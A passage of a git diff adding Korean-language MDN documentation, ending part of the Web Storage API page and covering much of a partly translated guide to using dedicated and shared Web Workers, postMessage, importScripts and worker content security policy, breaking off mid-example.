+ document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.my-storage'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="constant token">JSON</span><span class="punctuation token">.</span><span class="function token">stringify</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>storageArea<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Here we add an event listener to the <code>window</code> object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).</p>
+
+<h3 id="데이터_제거하기">데이터 제거하기</h3>
+
+<p>웹 스토리지에서는 데이터를 삭제하기 위한 두 가지 간단한 메소드를 제공합니다. 데모에서 사용하지는 않았지만, 간단하게 프로젝트에 추가할 수 있습니다:</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}}는 — 삭제하고 싶은 데이터의 키 —  한 개의 인자를 받습니다. 그리고 해당 도메인의 저장소 객체에서 데이터를 제거합니다.</li>
+ <li>{{domxref("Storage.clear()")}}는 아무 인자도 받지 않습니다. 그리고 해당 도메인의 저장소 객체 전체를 비워버립니다.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+</div>
+</div>
+
+<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external external-icon" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API landing page</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/basic_usage/index.html b/files/ko/web/api/web_workers_api/basic_usage/index.html
new file mode 100644
index 0000000000..eb0e309e8e
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/basic_usage/index.html
@@ -0,0 +1,908 @@
+---
+title: 웹 워커 사용하기
+slug: Web/API/Web_Workers_API/basic_usage
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<div class="summary">
+<p>웹 워커는 웹 컨텐츠를 위해서 백그라운드 스레드에서 스크립트를 실행할 간편한 방법을 제공합니다. 워커 스레드는 사용자 인터페이스(UI)를 방해하지 않고 작업을 수행할 수 있습니다. 또한 워커는 ( <code>responseXML</code> 과 <code>channel</code>속성이 언제나 null이지만) <code><a class="internal" href="/en/nsIXMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code> 를 사용하여 I/O작업을 수행할 수도 있습니다. 워커는 생성이 된 후에 생성자가 명시한 이벤트 핸들러로 메세지를 올려서 자신의 하위 작업(spawning task)에 메세지를 전달할 수 도 있습니다. 본 글에서 전용 워커와 공유 워커에 대하여 소개합니다.</p>
+</div>
+
+<h2 id="Web_Workers_API">Web Workers API</h2>
+
+<p>Worker는 생성자(예를 들면 {{domxref("Worker.Worker", "Worker()")}})를 사용하여 생성된 객체이며 이름있는 자바스크립트 파일(이 파일은 Worker 스레드에서 실행하는 코드를 가집니다)을 실행합니다. 또한 Worker는 현재의 {{domxref("window")}}와는 다른 글로벌 컨텍스트에서 실행됩니다. 따라서 {{domxref("Worker")}} 내에서 현재의 글로벌 스코프를 접근하기 위해 ({{domxref("window.self","self")}} 대신에) {{domxref("window")}}를 사용해도 오류가 돌아옵니다.</p>
+
+<p>Worker의 콘텍스트는 Dedicated Workers(한 개의 스크립트가 이용하는 표준적인 Workers)일 경우{{domxref("DedicatedWorkerGlobalScope")}} 객체로 제공됩니다. (Shared Workers의 경우는 {{domxref("SharedWorkerGlobalScope")}}). Dedicated Worker 는 Worker 를 처음에 생성한 스크립트만 액세스 할 수 있습니다. 반면에 Shared Worker는, 복수의 스크립트에서 액세스 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: Worker 의 레퍼런스 문서나 추가적인 가이드에 대해서는 <a href="/en-US/docs/Web/API/Web_Workers_API">The Web Workers API landing page</a>를 봐 주세요.</p>
+</div>
+
+<p>Worker Thread에서는 몇 가지 제한 하에서 어떤 코드라도 실행할 수 있습니다. 예를 들어, Worker내에서는 직접 DOM 를 조작할 수 없습니다. 그리고 {{domxref("window")}} 객체의 기본 메서드나 속성에서 사용할 수 없는 것들이 있습니다. 그럼에도 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">WebSockets</a>과 <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API">Data Store API</a>(Firefox OS 한정)와 같은 데이터 스토리지 메커니즘 등, <code>window</code>에 있는 다수의 아이템을 사용할 수 있습니다.자세한 것은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a>를 봐 주세요.</p>
+
+<p>Worker와 메인 스레드 사이에서는 메시지 시스템을 통해 데이터를 발송합니다. 양쪽 모두 <code>postMessage()</code> 메서드를 사용하여 메시지를 발송하고, <code>onmessage</code>이벤트 핸들러에 의해 메시지에 응답합니다(메시지는 {{event("Message")}}이벤트의 data 속성에 들어갑니다). 데이터는 공유되지 않고 복사됩니다.</p>
+
+<p>Worker 는 새로운 Worker 를 작성할 수 있습니다만, 생성된 Worker는 같은 부모 페이지일 경우에 한합니다. 추가적으로 Worker는 네트워크 I/O를 위한 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a>를 사용할 수 있으나,  <code>responseXML</code>의 exception과 <code>channel</code>속성의 <code>XMLHttpRequest</code>는 항상 null을 반환합니다.</p>
+
+<h2 id="Dedicated_workers">Dedicated workers</h2>
+
+<p>As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our <a href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a href="https://mdn.github.io/simple-web-worker/">run dedicated worker</a>): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.</p>
+
+<p>This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.</p>
+
+<h3 id="Worker_feature_detection">Worker feature detection</h3>
+
+<p>For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">if (window.Worker) {
+
+ ...
+
+}</pre>
+
+<h3 id="Spawning_a_dedicated_worker">Spawning a dedicated worker</h3>
+
+<p>Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");</pre>
+
+<h3 id="Sending_messages_to_and_from_a_dedicated_worker">Sending messages to and from a dedicated worker</h3>
+
+<p>The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/main.js">main.js</a>):</p>
+
+<pre class="brush: js">first.onchange = function() {
+ myWorker.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+ myWorker.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+}</pre>
+
+<p>So here we have two {{htmlelement("input")}} elements represented by the variables <code>first</code> and <code>second</code>; when the value of either is changed, <code>myWorker.postMessage([first.value,second.value])</code> is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.</p>
+
+<p>In the worker, we can respond when the message is received by writing an event handler block like this (<a href="https://github.com/mdn/simple-web-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onmessage = function(e) {
+ console.log('Message received from main script');
+ var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+ console.log('Posting message back to main script');
+ postMessage(workerResult);
+}</pre>
+
+<p>The <code>onmessage</code> handler allows us to run some code whenever a message is received, with the message itself being available in the <code>message</code> event's <code>data</code> attribute. Here we simply multiply together the two numbers then use <code>postMessage()</code> again, to post the result back to the main thread.</p>
+
+<p>Back in the main thread, we use <code>onmessage</code> again, to respond to the message sent back from the worker:</p>
+
+<pre class="brush: js">myWorker.onmessage = function(e) {
+ result.textContent = e.data;
+ console.log('Message received from worker');
+}</pre>
+
+<p>Here we grab the message event data and set it as the <code>textContent</code> of the result paragraph, so the user can see the result of the calculation.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The URI passed as a parameter to the <code>Worker</code> constructor must obey the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a> .</p>
+
+<p>There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Notice that <code>onmessage</code> and <code>postMessage()</code> need to be hung off the <code>Worker</code> object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.</p>
+</div>
+
+<h3 id="Terminating_a_worker">Terminating a worker</h3>
+
+<p>If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:</p>
+
+<pre class="brush: js"><code>myWorker.terminate();</code></pre>
+
+<p>The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.</p>
+
+<p>In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:</p>
+
+<pre class="brush: js"><code>close();</code></pre>
+
+<h3 id="Handling_errors">Handling errors</h3>
+
+<p>When a runtime error occurs in the worker, its <code>onerror</code> event handler is called. It receives an event named <code>error</code> which implements the <code>ErrorEvent</code> interface.</p>
+
+<p>The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/preventDefault"><code>preventDefault()</code> </a>method.</p>
+
+<p>The error event has the following three fields that are of interest:</p>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>A human-readable error message.</dd>
+ <dt><code>filename</code></dt>
+ <dd>The name of the script file in which the error occurred.</dd>
+ <dt><code>lineno</code></dt>
+ <dd>The line number of the script file on which the error occurred.</dd>
+</dl>
+
+<h3 id="Spawning_subworkers">Spawning subworkers</h3>
+
+<p>Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.</p>
+
+<h3 id="Importing_scripts_and_libraries">Importing scripts and libraries</h3>
+
+<p>Worker threads have access to a global function, <code>importScripts()</code>, which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:</p>
+
+<pre class="brush: js">importScripts(); /* imports nothing */
+importScripts('foo.js'); /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js'); /* imports two scripts */
+importScripts('//example.com/hello.js'); /* You can import scripts from other origins */</pre>
+
+<p>The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, <code>NETWORK_ERROR</code> is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations <strong>after</strong> the <code>importScripts()</code>method are also kept, since these are always evaluated before the rest of the code.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into <code>importScripts()</code> . This is done synchronously; <code>importScripts()</code> does not return until all the scripts have been loaded and executed.</p>
+</div>
+
+<h2 id="Shared_workers">Shared workers</h2>
+
+<p>A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our <a href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a href="https://mdn.github.io/simple-shared-worker/">run shared worker</a>): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: <em>multiplying two numbers</em>, or <em>squaring a number</em>. Both scripts use the same worker to do the actual calculation required.</p>
+
+<p>Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).</p>
+</div>
+
+<h3 id="Spawning_a_shared_worker">Spawning a shared worker</h3>
+
+<p>Spawning a new worker is pretty much the same as with a dedicated worker, but with a different constructor name (see <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/index.html">index.html</a> and <a href="https://mdn.github.io/simple-shared-worker/index2.html">index2.html</a>) — each one has to spin up the worker using code like the following:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");</pre>
+
+<p>One big difference is that with a shared worker you have to communicate via a <code>port</code> object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).</p>
+
+<p>The port connection needs to be started either implicitly by use of the <code>onmessage </code>event handler or explicitly with the <code>start()</code>method before any messages can be posted. Although the <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a> files in the demo currently call the <code>start()</code>method, those calls are not necessary since the <code>onmessage</code> event handler is being used. Calling <code>start()</code> is only needed if the <code>message</code> event is wired up via the <code>addEventListener()</code> method.</p>
+
+<p>When using the <code>start()</code> method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.</p>
+
+<pre class="brush: js">myWorker.port.start(); // called in parent thread</pre>
+
+<pre class="brush: js">port.start(); // called in worker thread, assuming the <code>port</code> variable references a port</pre>
+
+<h3 id="Sending_messages_to_and_from_a_shared_worker">Sending messages to and from a shared worker</h3>
+
+<p>Now messages can be sent to the worker as before, but the <code>postMessage()</code> method has to be invoked through the port object (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">squareNumber.onchange = function() {
+ myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+ console.log('Message posted to worker');
+}</pre>
+
+<p>Now, on to the worker. There is a bit more complexity here as well (<a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/worker.js">worker.js</a>):</p>
+
+<pre class="brush: js">onconnect = function(e) {
+ var port = e.ports[0];
+
+ port.onmessage = function(e) {
+ var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+ port.postMessage(workerResult);
+ }
+}</pre>
+
+<p>First, we use an <code>onconnect</code> handler to fire code when a connection to the port happens (i.e. when the <code>onmessage</code> event handler in the parent thread is setup, or when the <code>start()</code> method is explicitly called in the parent thread).</p>
+
+<p>We use the <code>ports</code> attribute of this event object to grab the port and store it in a variable.</p>
+
+<p>Next, we add a <code>message</code> handler on the port to do the calculation and return the result to the main thread. Setting up this <code>message</code>handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to <code>port.start()</code> is not actually needed, as noted above.</p>
+
+<p>Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/multiply.js">multiply.js</a> and <a href="https://github.com/mdn/simple-shared-worker/blob/gh-pages/square.js">square.js</a>):</p>
+
+<pre class="brush: js">myWorker.port.onmessage = function(e) {
+ result2.textContent = e.data;
+ console.log('Message received from worker');
+}</pre>
+
+<p>When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.</p>
+
+<h2 id="About_thread_safety">About thread safety</h2>
+
+<p>The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.</p>
+
+<p>However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.</p>
+
+<h2 id="Content_security_policy">Content security policy</h2>
+
+<p>Workers are considered to have their own execution context, distinct from the document that created them. For this reasons they are, in general, not governed by the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">content security policy</a> of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:</p>
+
+<pre><code>Content-Security-Policy: script-src 'self'</code></pre>
+
+<p>Among other things, this will prevent any scripts it includes from using <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>. However, if the script constructs a worker, code running in the worker's context <em>will</em> be allowed to use <code>eval()</code>.<br>
+ <br>
+ To specify a content security policy for the worker, set a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> response header for the request which delivered the worker script itself.<br>
+ <br>
+ The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker than created it.</p>
+
+<h2 id="Transferring_data_to_and_from_workers_further_details">Transferring data to and from workers: further details</h2>
+
+<p>Data passed between the main page and workers is <strong>copied</strong>, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker <strong>do not share the same instance</strong>, so the end result is that <strong>a duplicate</strong> is created on each end. Most browsers implement this feature as <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a>.</p>
+
+<p>To illustrate this, let's create for didactical purpose a function named <code>emulateMessage()</code>, which will simulate the behavior of a value that is <em>cloned and not shared</em> during the passage from a <code>worker</code> to the main page or vice versa:</p>
+
+<pre class="brush: js">function emulateMessage (vVal) {
+ return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+ "name": "John Smith",
+ "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+ this.type = sType;
+ this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object</pre>
+
+<p>A value that is cloned and not shared is called <em>message</em>. As you will probably know by now, <em>messages</em> can be sent to and from the main thread by using <code>postMessage()</code>, and the <code>message</code> event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.</p>
+
+<p><strong>example.html</strong>: (the main page):</p>
+
+<pre class="brush: js">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+ console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");</pre>
+
+<p><strong>my_task.js</strong> (the worker):</p>
+
+<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+ postMessage("Hi " + oEvent.data);
+};</pre>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a> algorithm can accept JSON and a few things that JSON can't — like circular references.</p>
+
+<h3 id="Passing_data_examples">Passing data examples</h3>
+
+<h4 id="Example_1_Create_a_generic_asynchronous_eval">Example #1: Create a generic "asynchronous <code>eval()</code>"</h4>
+
+<p>The following example shows how to use a worker in order to <strong>asynchronously</strong> execute any JavaScript code allowed in a worker, through <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code>eval()</code></a> within the worker:</p>
+
+<pre class="brush: js">// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+ var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+ oParser.onmessage = function (oEvent) {
+ if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+ delete aListeners[oEvent.data.id];
+ };
+
+ return function (sCode, fListener) {
+ aListeners.push(fListener || null);
+ oParser.postMessage({
+ "id": aListeners.length - 1,
+ "code": sCode
+ });
+ };
+})();</pre>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URL</a> is equivalent to a network request, with the following response:</p>
+
+<pre class="brush: js"><code>onmessage = function (oEvent) {
+ postMessage({
+ "id": oEvent.data.id,
+ "evaluated": eval(oEvent.data.code)
+ });
+}</code></pre>
+
+<p>Sample usage:</p>
+
+<pre class="brush: js">// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+ alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+ document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
+
+<h4 id="Example_2_Advanced_passing_JSON_Data_and_creating_a_switching_system">Example #2: Advanced passing JSON Data and creating a switching system</h4>
+
+<p>If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.</p>
+
+<p>First, we create a QueryableWorker class that takes the <font face="Consolas, Liberation Mono, Courier, monospace">url</font> of the worker, a default listener, and an error handler, and this class is gonna keep track of a list of listeners and help us communicate wirh the worker:</p>
+
+<pre class="brush: js">function QueryableWorker(url, defaultListener, onError){
+ var instance = this,
+ worker = new Worker(url),
+ listeners = {};
+
+ this.defaultListener = defaultListener || function(){};
+
+ if (onError) {worker.onerror = onError;}
+
+ this.postMessage = function(message){
+ worker.postMessage(message);
+ }
+
+ this.terminate = function(){
+ worker.terminate();
+ }
+}</pre>
+
+<p>Then we add the methods of adding/removing listeners:</p>
+
+<pre class="brush: js">this.addListeners = function(name, listener){
+ listeners[name] = listener;
+}
+
+this.removeListeners = function(name){
+ delete listeners[name];
+}</pre>
+
+<p>Here we let the worker handle two simple operations for illuatration: getting the difference of two numbers and making an alert after three seconds. In order to acheieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.</p>
+
+<pre class="brush: js">/*
+ This functions takes at least one argument, the method name we want to query.
+ Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function(){
+ if (arguments.length &lt; 1){
+ throw new TypeError("QueryableWorker.sendQuery takes at least one argument");
+ return;
+ }
+ worker.postMessage({
+ "queryMethod": arguments[0],
+ "queryArguments": Array.prototype.slice.call(arguments, 1)
+ });
+}</pre>
+
+<p>We finish QueryableWorker with the <code>onmessage</code> method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in <code>listeners</code>.:</p>
+
+<pre class="brush: js">worker.onmessage = function(event){
+ if (event.data instanceof Object &amp;&amp;
+ event.data.hasOwnProperty("queryMethodListener") &amp;&amp;
+ event.data.hasOwnProperty("queryMethodArguments")){
+ listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+ } else {
+ this.defaultListener.call(instance, event.data);
+ }
+}</pre>
+
+<p>Now onto the worker.  First we need to have the methods to handle the two simple operations:</p>
+
+<pre class="brush: js">var queryableFunctions = {
+ getDifference: function(a, b){
+ reply("printStuff", a - b);
+ },
+ waitSomeTime: function(){
+ setTimeout(function(){
+ reply("doAlert", 3, "seconds");
+ }, 3000);
+ }
+}
+
+function reply(){
+ if (arguments.length &lt; 1) {
+ throw new TypeError("reply - takes at least one argument");
+ return;
+ }
+ postMessage({
+ queryMethodListener: arguments[0],
+ queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+ });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message){
+ // do something
+}</pre>
+
+<p>And the <code>onmessage</code> method is now trivial:</p>
+
+<pre class="brush: js">onmessage = function(event){
+ if (event.data instanceof Object &amp;&amp;
+ event.data.hasOwnProperty("queryMethod") &amp;&amp;
+ event.data.hasOwnProperty("queryMethodArguments")){
+ queryableFunctions[event.data.queryMethod]
+ .apply(self, event.data.queryMethodArguments);
+ } else {
+ defaultReply(event.data);
+ }
+}</pre>
+
+<p>Here are the full implementation:</p>
+
+<p><strong>example.html</strong> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8" /&gt;
+ &lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
+ &lt;script type="text/javascript"&gt;
+ /*
+ QueryableWorker instances methods:
+ * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+ * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+ * terminate(): terminates the Worker
+ * addListener(name, function): adds a listener
+ * removeListener(name): removes a listener
+ QueryableWorker instances properties:
+ * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+ */
+ function QueryableWorker(url, defaultListener, onError){
+ var instance = this,
+ worker = new Worker(url),
+ listeners = {};
+
+ this.defaultListener = defaultListener || function(){};
+
+ if (onError) {worker.onerror = onError;}
+
+ this.postMessage = function(message){
+ worker.postMessage(message);
+ }
+
+ this.terminate = function(){
+ worker.terminate();
+ }
+
+ this.addListeners = function(name, listener){
+ listeners[name] = listener;
+ }
+
+ this.removeListeners = function(name){
+ delete listeners[name];
+ }
+
+ worker.onmessage = function(event){
+ if (event.data instanceof Object &amp;&amp;
+ event.data.hasOwnProperty("queryMethodListener") &amp;&amp;
+ event.data.hasOwnProperty("queryMethodArguments")){
+ listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+ } else {
+ this.defaultListener.call(instance, event.data);
+ }
+ }
+ }
+
+ // your custom "queryable" worker
+ var myTask = new QueryableWorker("my_task.js");
+
+ // your custom "listeners"
+ myTask.addListener("printStuff", function (result) {
+ document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + result + "!"));
+ });
+
+ myTask.addListener("doAlert", function (time, unit) {
+ alert("Worker waited for " + time + " " + unit + " :-)");
+ });
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;ul&gt;
+ &lt;li&gt;&lt;a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="javascript:myTask.sendQuery('waitSomeTime');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="javascript:myTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>my_task.js</strong> (the worker):</p>
+
+<pre class="brush: js">var queryableFunctions = {
+ // example #1: get the difference between two numbers:
+ getDifference: function (nMinuend, nSubtrahend) {
+ reply("printSomething", nMinuend - nSubtrahend);
+ },
+ // example #2: wait three seconds
+ waitSomeTime: function () {
+ setTimeout(function() { reply("doAlert", 3, "seconds"); }, 3000);
+ }
+};
+
+// system functions
+
+function defaultReply (message) {
+ // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+ // do something
+}
+
+function reply () {
+ if (arguments.length &lt; 1) { throw new TypeError("reply - not enough arguments"); return; }
+ postMessage({ "queryMethodListener": arguments[0], "queryMethodArguments": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+ if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("queryMethod") &amp;&amp; oEvent.data.hasOwnProperty("queryMethodArguments")) {
